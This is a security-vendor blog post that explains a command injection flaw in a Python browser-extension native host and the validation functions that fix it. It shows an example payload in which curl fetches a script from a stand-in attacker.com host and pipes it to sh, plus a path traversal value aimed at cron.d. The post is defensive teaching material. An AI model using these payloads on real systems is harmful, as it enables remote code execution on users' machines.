Back to Blog
critical SEVERITY8 min read

How Command Injection happens in Python subprocess calls and how to fix it

A critical command injection vulnerability in `host/beectl-py2.py` allowed attackers to pass arbitrary subprocess arguments through a browser extension's JSON configuration, enabling execution of malicious shell commands on the host machine. The fix introduces two new validation functions — `sanitize_args()` and `sanitize_ext()` — that enforce strict type and content constraints on user-controlled input before it reaches the `subprocess` call. This change closes a direct path from browser extens

O
By Orbis AppSec
Published August 26, 2026Reviewed August 26, 2026

Answer Summary

This is a command injection vulnerability (CWE-78) in the Python 2 native host script `beectl-py2.py`, where user-controlled JSON fields `args` and `ext` were passed directly to `subprocess` and `tempfile.mkstemp()` without validation. An attacker controlling the browser extension's configuration could inject shell commands like `{"editor": "/bin/sh", "args": ["-c", "curl http://attacker.com/malware.sh | sh"]}`. The fix adds `sanitize_args()` — which rejects non-list inputs, non-string elements, and NUL bytes — and `sanitize_ext()` — which constrains file extensions to alphanumeric characters via regex — blocking the injection path entirely.

Vulnerability at a Glance

cweCWE-78 (Improper Neutralization of Special Elements used in an OS Command)
fixAdded `sanitize_args()` and `sanitize_ext()` functions that enforce strict type constraints, reject NUL bytes, and constrain file extensions to alphanumeric characters
riskArbitrary command execution on the host machine via browser extension configuration
languagePython 2
root causeUser-controlled JSON `args` array passed directly to subprocess without type or content validation
vulnerabilityCommand Injection via unsanitized subprocess arguments

How Command Injection Happens in Python Subprocess Calls and How to Fix It

The host/beectl-py2.py file serves as the native messaging host that bridges a browser extension to a local text editor on the user's machine. It reads JSON from stdin, extracts an editor path and optional arguments, and launches the editor via Python's subprocess module. That pipeline — JSON in, process out — is exactly where this critical vulnerability lived.

At line 62, the original code contained this pattern:

if 'args' in conf:
    args = conf['args']
    args.insert(0, bee_editor)

conf is parsed directly from JSON sent by the browser extension. The args field — whatever the extension provided — was inserted into the subprocess call with zero validation. No type check. No content check. No allowlist. Just raw user data handed to the operating system.


The Vulnerability Explained

What Made This Exploitable

The native messaging protocol means the browser extension sends JSON to this Python script over stdin. In a normal flow, the JSON might look like:

{"editor": "/usr/bin/vim", "args": []}

But nothing in the original code prevented an attacker — who could modify the browser extension's stored configuration — from sending:

{
  "editor": "/bin/sh",
  "args": ["-c", "curl http://attacker.com/malware.sh | sh"]
}

The original code would then build an args list of ["/bin/sh", "-c", "curl http://attacker.com/malware.sh | sh"] and pass it directly to subprocess. That's a complete shell invocation with attacker-controlled commands, running with the full privileges of the user who installed the browser extension.

The Second Attack Surface: File Extension Injection

There was a second, subtler vulnerability in the same function:

suffix = '.txt'
if 'ext' in text:
    suffix = '.' + text['ext']
f = list(tempfile.mkstemp(suffix, 'chrome_bee_'))

The text['ext'] value — also user-controlled — was concatenated directly into the mkstemp() suffix. An attacker could supply a value like ../../../etc/cron.d/evil to attempt path traversal in the temporary file creation, or inject characters that interact unexpectedly with the filesystem.

Why This Matters for This Application Specifically

This isn't a web server or a public API — it's a native host running on the user's own machine. That makes exploitation both easier (the attacker only needs to tamper with browser extension storage, a relatively low bar) and more dangerous (the process runs as the logged-in user, with access to their files, SSH keys, and credentials). The PR's own threat model notes the exploitation scenario explicitly: modify the stored configuration, inject the payload, and the next time the user opens the editor, the malicious command runs silently.


The Fix

The fix introduces two purpose-built validation functions added before main():

sanitize_args() — Blocking Subprocess Argument Injection

def sanitize_args(args):
    # Enforce expected structure: reject non-list, non-string elements, and NUL
    # bytes that would be silently truncated by execve().
    if not isinstance(args, list):
        sys.exit("Invalid args: expected a list")
    for a in args:
        if not isinstance(a, (str, unicode)):
            sys.exit("Invalid args: each argument must be a string")
        if u'\x00' in a:
            sys.exit("Invalid args: NUL byte in argument")
    return args

This function enforces three invariants:

  1. args must be a list — prevents an attacker from passing a string or dict that might be iterable in unexpected ways.
  2. Each element must be a string — prevents injection via non-string types that could coerce to dangerous values.
  3. No NUL bytes — NUL bytes (\x00) are silently truncated by execve() at the OS level, which can be used to bypass filename or argument checks by appending a NUL followed by malicious content. This check closes that bypass.

The call site changes from:

if 'args' in conf:
    args = conf['args']

to:

if conf and 'args' in conf:
    args = sanitize_args(conf['args'])

The additional conf and guard also prevents a None dereference if conf itself is null.

sanitize_ext() — Blocking Path Traversal in Temp File Creation

def sanitize_ext(ext):
    # ext is used verbatim as mkstemp() suffix; constrain to alphanumeric to
    # prevent path traversal.
    if not isinstance(ext, (str, unicode)) or not re.match(r'^[A-Za-z0-9]{1,16}$', ext):
        return 'txt'
    return ext

The regex ^[A-Za-z0-9]{1,16}$ is a strict allowlist: only letters and digits, 1–16 characters, nothing else. Any extension that doesn't match — including path separators, dots, or shell metacharacters — silently falls back to 'txt'. The call site simplifies to:

suffix = '.' + sanitize_ext(text.get('ext', 'txt'))

This also uses dict.get() with a default, which is more idiomatic and avoids a KeyError if ext is absent.

Before and After

Before (vulnerable):

if 'args' in conf:
    args = conf['args']          # No type check, no content check
    args.insert(0, bee_editor)

suffix = '.txt'
if 'ext' in text:
    suffix = '.' + text['ext']  # Direct string concatenation, no validation

After (fixed):

if conf and 'args' in conf:
    args = sanitize_args(conf['args'])  # Type-checked, NUL-checked
    args.insert(0, bee_editor)

suffix = '.' + sanitize_ext(text.get('ext', 'txt'))  # Allowlist regex

The same fix was applied symmetrically to host/beectl-py3.py, ensuring both the Python 2 and Python 3 host scripts are protected.


Prevention & Best Practices

1. Never Trust JSON Fields Destined for Subprocess

Any field from an external source — even a "local" one like browser extension storage — that ends up in a subprocess.Popen, os.execve, or similar call must be validated before use. Treat browser extension configuration as untrusted input, because it can be modified by malicious extensions, XSS in the extension's options page, or direct filesystem manipulation.

2. Use Allowlists, Not Denylists

The sanitize_ext() regex ^[A-Za-z0-9]{1,16}$ is an allowlist — it defines exactly what is permitted. Denylists (blocking specific bad characters) are brittle and routinely bypassed. For subprocess arguments, consider whether you need user-supplied args at all; if you do, define the exact set of permitted values.

3. Check for NUL Bytes Explicitly

NUL byte injection (\x00) is a classic bypass technique that Python string handling won't catch automatically. The sanitize_args() function's explicit check for u'\x00' in a is a good pattern to copy whenever user input reaches OS-level calls.

4. Apply Fixes Symmetrically Across Language Versions

This codebase maintains both Python 2 (beectl-py2.py) and Python 3 (beectl-py3.py) versions of the same host script. The fix was correctly applied to both. When you patch a vulnerability in one version of a file, audit all sibling files with similar logic.

5. Relevant Standards


Key Takeaways

  • The args field in beectl-py2.py's JSON input was a direct injection point into subprocess — any field that flows to a process launch must be validated for type, content, and dangerous byte sequences.
  • NUL bytes in subprocess arguments are silently truncated by execve(), making them a viable bypass for naive string-based checks; always test for \x00 explicitly.
  • Allowlist regexes like ^[A-Za-z0-9]{1,16}$ are the right tool for constraining user-controlled filename components — they fail safely by design.
  • Browser extension configuration is untrusted input — even though it originates "locally," it can be modified by attackers and must be treated with the same skepticism as HTTP request parameters.
  • Symmetric fixes matter: the same vulnerability existed in beectl-py3.py and required the same fix — always audit sibling files when patching logic-level vulnerabilities.

How Orbis AppSec Detected This

  • Source: User-controlled JSON input read from sys.stdin in host/beectl-py2.py, specifically the conf['args'] and text['ext'] fields.
  • Sink: The args list passed to subprocess (built at line 89–92), and text['ext'] concatenated into the tempfile.mkstemp() suffix at line 101.
  • Missing control: No type validation, no content validation, and no NUL-byte check on conf['args'] before subprocess execution; no allowlist or sanitization on text['ext'] before filesystem use.
  • CWE: CWE-78 — Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
  • Fix: Added sanitize_args() to enforce list type, string-only elements, and NUL-byte rejection, and sanitize_ext() to constrain file extensions to an alphanumeric allowlist before either value reaches a system call.

Orbis AppSec automatically detected this vulnerability and opened a pull request with the fix. Try Orbis AppSec on your repositories to find and fix issues like this automatically.


Conclusion

The vulnerability in beectl-py2.py is a textbook example of how a small trust assumption — "the browser extension controls this JSON, so it must be safe" — can open a direct path to arbitrary code execution. The conf['args'] array traveled from JSON input to subprocess with no stops for validation, and the text['ext'] string was concatenated into a filesystem path with equal naivety.

The fix is elegant precisely because it's explicit: sanitize_args() and sanitize_ext() each encode a clear contract about what valid input looks like, fail loudly when that contract is violated, and handle the NUL-byte edge case that many developers overlook. For anyone writing native messaging hosts, browser extension backends, or any Python code that bridges external input to subprocess, this pattern — validate type, validate content, check for NUL, use allowlists for filesystem values — is worth internalizing.


References

Frequently Asked Questions

What is command injection in Python subprocess calls?

Command injection occurs when user-controlled data is passed directly to a subprocess call without validation, allowing attackers to supply malicious arguments or commands that the operating system executes with the application's privileges.

How do you prevent command injection in Python subprocess calls?

Validate all user-supplied arguments before passing them to subprocess: enforce that args is a list, each element is a string, no NUL bytes are present, and the executable path comes from a trusted source — never from raw user input.

What CWE is command injection?

Command injection is classified as CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').

Is using `shell=False` in subprocess enough to prevent command injection?

Not entirely. Even with `shell=False`, an attacker who controls the args list can still inject malicious arguments (e.g., passing `/bin/sh` as the editor and `["-c", "malicious_command"]` as args), so input validation remains essential.

Can static analysis detect command injection in Python?

Yes. Tools like Semgrep, Bandit, and multi-agent AI scanners can trace tainted data from JSON input to subprocess calls and flag missing validation. This vulnerability was detected automatically by the Orbis AppSec multi_agent_ai scanner.

View the Security Fix

Check out the pull request that fixed this vulnerability

View PR #39

Related Articles

high

How Command Injection Happens in Node.js child_process and How to Fix It

A high-severity command injection vulnerability was discovered in `server.js` where user-controlled file paths were passed directly to shell commands via `exec()`. By migrating from `exec()` to `execFile()` and using argument arrays instead of string concatenation, the fix eliminates the attack surface while preserving the intended trash/delete functionality across macOS, Windows, and Linux.

high

How Command Injection happens in Node.js and how to fix it

A semgrep scan flagged `scripts/postinstall.js` for calling `child_process.execSync` in a way that could become a command injection primitive if the script's execution context ever changed. The fix hardens the script by guarding its side effects behind a `require.main === module` check, introducing the safer `execFileSync` API, and adding automated tests to lock in the safe behavior.

high

How command injection happens in Node.js child_process and how to fix it

A critical command injection vulnerability in `scripts/check-links.js` was fixed by replacing `execSync()` with `execFileSync()`, eliminating shell interpretation of user-controlled repository names. This proactive hardening prevents potential remote code execution in the GitHub CLI integration workflow.

critical

How Command Injection happens in Node.js and how to fix it

A critical command injection vulnerability in `scripts/sync-skill.mjs` allowed attackers to execute arbitrary commands through malicious command-line arguments. The fix implements strict whitelist validation on `process.argv` inputs, ensuring only the `--check` flag is accepted before any shell interaction occurs.

high

How Shell Injection Happens in GitHub Actions and How to Fix It

A high-severity shell injection vulnerability was discovered in `action.yml` where direct variable interpolation with GitHub context data in `run:` steps could allow attackers to inject arbitrary code into the runner. The fix uses environment variables with proper quoting to safely separate untrusted input from shell execution, eliminating the exploit primitive while preserving legitimate functionality.

high

How command injection happens in JavaScript child_process and how to fix it

A high-severity command injection vulnerability in Claude Code's `prepare-native.js` could have allowed attackers to execute arbitrary shell commands through malicious npm package tarball URLs. The fix adds strict URL scheme validation and proper curl argument termination to neutralize injection vectors.